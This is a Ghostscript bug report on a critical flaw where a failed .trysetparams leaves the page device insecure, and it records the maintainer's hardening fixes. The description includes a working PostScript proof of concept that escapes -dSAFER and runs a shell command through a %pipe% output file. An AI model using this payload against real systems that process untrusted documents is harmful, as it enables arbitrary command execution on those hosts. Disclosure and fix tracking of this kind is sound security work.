Summary: | .trysetparams stopped proc can itself stop, leaving page device in insecure state | ||
---|---|---|---|
Product: | Ghostscript | Reporter: | Tavis Ormandy <taviso> |
Component: | Security (public) | Assignee: | Chris Liddell (chrisl) <chris.liddell> |
Status: | RESOLVED FIXED | ||
Severity: | critical | CC: | scorneli |
Priority: | P1 | ||
Version: | unspecified | ||
Hardware: | PC | ||
OS: | Windows NT | ||
See Also: |
https://bugs.ghostscript.com/show_bug.cgi?id=699654 https://bugs.ghostscript.com/show_bug.cgi?id=699687 https://bugs.ghostscript.com/show_bug.cgi?id=699714 |
||
Customer: | Word Size: | --- |
Description
Tavis Ormandy
2018-09-05 13:25:04 UTC
I got it to work, this still reproduces in HEAD (gs -dSAFER -sDEVICE=ppmraw): currentpagedevice /PageSize get 0 (foobar) put a0 % fill up the stack with junk 0 1 300360 {} for { grestore } stopped clear (ppmraw) selectdevice mark /OutputFile (%pipe%id) currentdevice putdeviceprops showpage Adjusting priority to Critical Hmm, I must admit, I though we no longer enforced a hard limit on the stack size - I thought it was only limited by memory... I've pushed changes to harden the fix against stack overflows: http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=13418541a5ae http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=643b24dbd002 |